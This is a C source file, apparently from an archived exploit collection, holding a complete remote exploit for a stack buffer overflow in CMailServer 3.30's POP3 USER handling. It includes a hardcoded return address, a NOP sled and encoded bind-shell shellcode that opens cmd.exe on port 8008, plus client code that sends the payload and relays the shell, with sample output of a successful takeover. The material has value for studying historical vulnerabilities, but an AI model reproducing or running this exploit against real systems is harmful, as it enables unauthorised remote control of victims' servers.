home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / cmailserver / cmaileexp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  12KB  |  261 lines

  1. /*
  2.         cmeexp.c
  3.         May 20, 2002
  4.  
  5.         CMailServer 3.30 uses sprintf() without any previous
  6.         bounds checking while testing for the presence of the 
  7.         passed USER argument's home directory within 'mail'..
  8.  
  9.         sprintf(%s\\mail\\%s, CMail path ptr, USER arg ptr)
  10.  
  11.         you know how the story goes, we can overwrite some
  12.         serious EIP action..
  13.  
  14.         USER <510 bytes><EIP>
  15.  
  16.         the payload is on the right as I didn't bother finding
  17.         or making one fit on the left
  18.  
  19.  
  20.     [xx@xxxx cmail]$ ./cmeexp the.man
  21.     CMailServer 3.30 remote 'root' exploit (05/20/2002)
  22.     2c79cbe14ac7d0b8472d3f129fa1df55@hushmail.com
  23.     
  24.     
  25.     connecting...
  26.     
  27.     connected.. sending code
  28.     
  29.     code dumped..
  30.     
  31.     connecting to port 8008...
  32.     success! izn0rw3ned!
  33.     
  34.     Microsoft Windows 2000 [Version 5.00.2195]
  35.     (C) Copyright 1985-2000 Microsoft Corp.
  36.     
  37.     E:\Program Files\CMailServer>date
  38.     The current date is: Mon 20/05/2002 
  39.     Enter the new date: (dd-mm-yy)
  40.  
  41. */
  42.  
  43. #include <stdio.h>
  44. #include <string.h>
  45. #include <sys/types.h>
  46. #include <sys/socket.h>
  47. #include <netinet/in.h>
  48. #include <arpa/inet.h>
  49. #include <netdb.h>
  50. #include <sys/errno.h>
  51.  
  52. /* Win2k SP2 + all hotfixes up until May 20th */
  53. /* you've got one shot at this as cmail is    */
  54. /* going down if you miss..                   */
  55.  
  56. /* this is the most consistant EIP hit on my  */
  57. /* test machine although freshly booted she   */
  58. /* tended to be "\x6d\xa7\xdb\x02"          */
  59.  
  60. /* try in offsets of 0x100000 if you must..   */
  61.  
  62. #define EIP "\x6d\xa7\x0e\x03"
  63.  
  64. /* everything all rolled into one.. bind's cmd.exe  */
  65. /* to port 8008.. this is a modified version of the */
  66. /* shellcode created by |Zan's excellent generator  */
  67.  
  68. char shell[] =
  69. "\x55\x53\x45\x52\x20"
  70. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  71. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  72. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  73. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  74. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  75. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  76. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  77. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  78. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  79. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  80. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  81. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  82. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  83. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  84. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  85. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  86. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  87. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  88. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  89. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  90. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  91. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  92. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  93. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  94. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  95. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  96. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  97. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  98. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  99. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  100. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  101. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  102. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  103. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  104. "\x90\x90\x83\xee\x7f\x83\xee\x7f\x83\xee\x7f\x83\xee\x7f"
  105. "\x83\xee\x7f\x83\xee\x7f\x83\xee\x7f\x83\xee\x7f\x83\xee"
  106. "\x7f\x83\xee\x4c\xff\xd6"EIP"\x55\x8b\xec\x68\x5e\x56\xc3"
  107. "\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c\x90\x90\x90\x90"
  108. "\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04\x90\x90\x90\xac"
  109. "\x34\x13\xaa\xe2\xfa\xfb\x13\x13\x13\x13\x4e\x92\xfe\xca"
  110. "\x32\x53\x13\x9e\xa6\xe1\x37\x53\x13\x9e\xae\xe9\x37\x53"
  111. "\x13\x79\x14\x83\x83\x83\x83\x4a\xfb\xc1\x11\x13\x13\x9e"
  112. "\xa6\x39\x36\x53\x13\x9e\xae\x20\x36\x53\x13\x79\x19\x83"
  113. "\x83\x83\x83\x4a\xfb\xa9\x11\x13\x13\x79\x13\x9e\xa6\xca"
  114. "\x36\x53\x13\x45\x9e\xa6\xf6\x36\x53\x13\x45\x9e\xa6\xfa"
  115. "\x36\x53\x13\x45\xec\x86\x20\x36\x53\x13\x79\x13\x9e\xa6"
  116. "\xca\x36\x53\x13\x45\x9e\xa6\xfe\x36\x53\x13\x45\x9e\xa6"
  117. "\xe2\x36\x53\x13\x45\xec\x86\x20\x36\x53\x13\xd4\x96\xe6"
  118. "\x36\x53\x13\x57\x13\x13\x13\x9e\xa6\xe6\x36\x53\x13\x45"
  119. "\xec\x86\x24\x36\x53\x13\x9e\xa6\x3e\x35\x53\x13\xbe\x43"
  120. "\xec\x86\x40\x36\x53\x13\x9e\xa6\x22\x35\x53\x13\xbe\x43"
  121. "\xec\x86\x40\x36\x53\x13\x9e\xa6\xe2\x36\x53\x13\x9e\xae"
  122. "\x3e\x35\x53\x13\xb6\x9e\xa6\xf6\x36\x53\x13\xbe\x9e\xae"
  123. "\x22\x35\x53\x13\xb8\x9e\xae\x26\x35\x53\x13\xb8\xd4\x96"
  124. "\x36\x35\x53\x13\x13\x13\x13\x13\xd4\x96\x32\x35\x53\x13"
  125. "\x12\x12\x13\x13\x9e\xa6\x2a\x35\x53\x13\x45\x9e\xa6\xe6"
  126. "\x36\x53\x13\x45\x79\x13\x79\x13\x79\x03\x79\x12\x79\x13"
  127. "\x79\x13\x9e\xa6\x5a\x35\x53\x13\x45\x79\x13\xec\x86\x28"
  128. "\x36\x53\x13\x7b\x13\x33\x13\x13\x83\x7b\x13\x11\x13\x13"
  129. "\xec\x86\x50\x36\x53\x13\x9a\x96\x42\x35\x53\x13\x20\xd3"
  130. "\x43\x53\x43\x53\x43\xec\x86\xe9\x37\x53\x13\x43\x48\x79"
  131. "\x03\x9e\xa6\xda\x36\x53\x13\x45\x40\xec\x86\xed\x37\x53"
  132. "\x13\x79\x10\x40\xec\x86\x11\x36\x53\x13\x9e\xa6\x46\x35"
  133. "\x53\x13\x45\x9e\xa6\xda\x36\x53\x13\x45\x40\xec\x86\x15"
  134. "\x36\x53\x13\x9e\xae\x4a\x35\x53\x13\xb8\x20\xd3\x43\x9e"
  135. "\xae\x76\x35\x53\x13\x44\x43\x43\x43\x9e\xa6\xfa\x36\x53"
  136. "\x13\xbe\x43\xec\x86\x2c\x36\x53\x13\x79\x23\xec\x86\x5c"
  137. "\x36\x53\x13\xf8\x5e\x83\x83\x83\x20\xd3\x43\x9e\xae\x76"
  138. "\x35\x53\x13\x44\x43\x43\x43\x9e\xa6\xfa\x36\x53\x13\xbe"
  139. "\x43\xec\x86\x2c\x36\x53\x13\x79\x43\xec\x86\x5c\x36\x53"
  140. "\x13\x90\xae\x76\x35\x53\x13\x11\x1c\x91\x04\x12\x13\x13"
  141. "\x92\xae\x76\x35\x53\x13\x12\x33\x13\x13\x61\x1d\x83\x83"
  142. "\x83\x83\xd4\x96\x76\x35\x53\x13\x13\x33\x13\x13\x79\x13"
  143. "\x98\x96\x76\x35\x53\x13\x9e\xae\x76\x35\x53\x13\x44\x43"
  144. "\x98\x96\x42\x35\x53\x13\x43\x9e\xa6\xfa\x36\x53\x13\xbe"
  145. "\x43\xec\x86\x54\x36\x53\x13\x79\x43\xec\x86\x5c\x36\x53"
  146. "\x13\x98\x96\x76\x35\x53\x13\x79\x13\x43\x9e\xa6\x42\x35"
  147. "\x53\x13\xbe\x43\x9e\xa6\x4a\x35\x53\x13\xbe\x43\xec\x86"
  148. "\x19\x36\x53\x13\x79\x13\x9e\xae\x76\x35\x53\x13\x44\x79"
  149. "\x13\x79\x13\x79\x13\x9e\xa6\xfa\x36\x53\x13\xbe\x43\xec"
  150. "\x86\x2c\x36\x53\x13\x79\x43\xec\x86\x5c\x36\x53\x13\x20"
  151. "\xda\x2a\x9e\x76\x35\x53\x13\x1c\x94\x74\xec\xec\xec\x79"
  152. "\x13\x7b\x13\x33\x13\x13\x83\x9e\xa6\x42\x35\x53\x13\xbe"
  153. "\x43\x9e\xa6\x4a\x35\x53\x13\xbe\x43\xec\x86\x1d\x36\x53"
  154. "\x13\x9a\x96\x72\x35\x53\x13\x79\x13\x9e\xae\x76\x35\x53"
  155. "\x13\x44\x43\x9e\xa6\x42\x35\x53\x13\xbe\x43\x9e\xa6\xfe"
  156. "\x36\x53\x13\xbe\x43\xec\x86\x58\x36\x53\x13\x79\x43\xec"
  157. "\x86\x5c\x36\x53\x13\x79\x13\x98\x96\x72\x35\x53\x13\x9e"
  158. "\xae\x76\x35\x53\x13\x44\x43\x98\x96\x42\x35\x53\x13\x43"
  159. "\x9e\xa6\xfa\x36\x53\x13\xbe\x43\xec\x86\x54\x36\x53\x13"
  160. "\x79\x43\xec\x86\x5c\x36\x53\x13\xfa\xaa\xed\xec\xec\x9e"
  161. "\xa6\x4a\x35\x53\x13\xbe\x43\xec\x86\x01\x36\x53\x13\x9e"
  162. "\xa6\x4e\x35\x53\x13\xbe\x43\xec\x86\x01\x36\x53\x13\x79"
  163. "\x13\xec\x86\x44\x36\x53\x13\x42\x45\x7b\xd3\xf1\x56\x13"
  164. "\x83\x49\xec\x01\x43\x48\x4a\x44\x4d\x42\x45\x40\x7b\xd7"
  165. "\xf1\x56\x13\x83\x49\xec\x01\x43\xbf\x97\xd3\x66\xe8\x4b"
  166. "\xb8\x4a\xf1\xfa\xd0\x44\x40\x5c\x50\x58\x20\x21\x13\x60"
  167. "\x7c\x70\x78\x76\x67\x13\x71\x7a\x7d\x77\x13\x7f\x7a\x60"
  168. "\x67\x76\x7d\x13\x72\x70\x70\x76\x63\x67\x13\x60\x76\x7d"
  169. "\x77\x13\x61\x76\x70\x65\x13\x70\x7f\x7c\x60\x76\x60\x7c"
  170. "\x70\x78\x76\x67\x13\x58\x56\x41\x5d\x56\x5f\x20\x21\x13"
  171. "\x50\x61\x76\x72\x67\x76\x43\x7a\x63\x76\x13\x54\x76\x67"
  172. "\x40\x67\x72\x61\x67\x66\x63\x5a\x7d\x75\x7c\x52\x13\x50"
  173. "\x61\x76\x72\x67\x76\x43\x61\x7c\x70\x76\x60\x60\x52\x13"
  174. "\x43\x76\x76\x78\x5d\x72\x7e\x76\x77\x43\x7a\x63\x76\x13"
  175. "\x54\x7f\x7c\x71\x72\x7f\x52\x7f\x7f\x7c\x70\x13\x41\x76"
  176. "\x72\x77\x55\x7a\x7f\x76\x13\x44\x61\x7a\x67\x76\x55\x7a"
  177. "\x7f\x76\x13\x40\x7f\x76\x76\x63\x13\x50\x7f\x7c\x60\x76"
  178. "\x5b\x72\x7d\x77\x7f\x76\x13\x56\x6b\x7a\x67\x43\x61\x7c"
  179. "\x70\x76\x60\x60\x13\x50\x7c\x77\x76\x77\x33\x71\x6a\x33"
  180. "\x6f\x49\x72\x7d\x33\x2f\x7a\x69\x72\x7d\x53\x77\x76\x76"
  181. "\x63\x69\x7c\x7d\x76\x3d\x7c\x61\x74\x2d\x11\x13\x0c\x5b"
  182. "\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x1f\x13"
  183. "\x13\x13\x13\x13\x13\x13\x12\x13\x13\x13\x13\x13\x13\x13"
  184. "\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13"
  185. "\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13"
  186. "\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13"
  187. "\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13"
  188. "\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13"
  189. "\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13"
  190. "\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x50\x5e"
  191. "\x57\x3d\x56\x4b\x56\x13\x13\x13\x13\x13\x03\x13\x13\x13"
  192. "\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13"
  193. "\x13\x13\x1a\x1a\x1a\x1a\x1a\x90\x90\x90\x0d\x0a";
  194.  
  195. main(char argc, char **argv){
  196.         int fd;
  197.         int bufsize = 1024;
  198.         int buffer = malloc(bufsize);
  199.         struct sockaddr_in sin;
  200.         struct hostent *he;
  201.         struct in_addr in;
  202.  
  203.         printf("CMailServer 3.30 remote 'root' exploit (05/20/2002)\n");
  204.         printf("2c79cbe14ac7d0b8472d3f129fa1df55@hushmail.com\n\n\n");
  205.  
  206.         if (argc < 2){
  207.                 printf("Usage: <hostname>\n");
  208.                 exit(-1);
  209.         }
  210.  
  211.         if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}
  212.  
  213.         if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);}
  214.         else
  215.         if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);}
  216.  
  217.         sin.sin_family = AF_INET;
  218.         sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));
  219.         sin.sin_port = htons(110);
  220.  
  221.         printf("connecting...\n");
  222.         if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);}
  223.  
  224.         printf("\nconnected.. sending code\n\n");
  225.         if(write(fd, shell, strlen(shell)) < strlen(shell)){perror("write error");exit(-1);}
  226.         printf("code dumped..\n\n");
  227.  
  228.         close(fd);
  229.  
  230.         if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}
  231.  
  232.         sin.sin_family = AF_INET;
  233.         sin.sin_addr.s_addr = inet_addr(argv[1]);
  234.         sin.sin_port = htons(8008);
  235.  
  236.         printf("connecting to tcp port 8008...\n");
  237.         sleep(1);
  238.         if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){printf("exploit failed.. adjust EIP?\n\n");exit(-1);}
  239.         printf("success! izn0rw3ned!\n\n");
  240.  
  241.         while(1) {
  242.                 fd_set input;
  243.  
  244.                 FD_SET(0,&input);
  245.                 FD_SET(fd,&input);
  246.                 if((select(fd+1,&input,NULL,NULL,NULL))<0) {
  247.                         if(errno==EINTR) continue;
  248.                         printf("connection reset\n"); fflush(stdout);
  249.                         exit(1);
  250.                 }
  251.                 if(FD_ISSET(fd,&input))
  252.                         write(1,buffer,read(fd,buffer,bufsize));
  253.                 if(FD_ISSET(0,&input))
  254.                         write(fd,buffer,read(0,buffer,bufsize));
  255.         }
  256.  
  257.         close(fd);
  258.  
  259. }
  260.  
  261.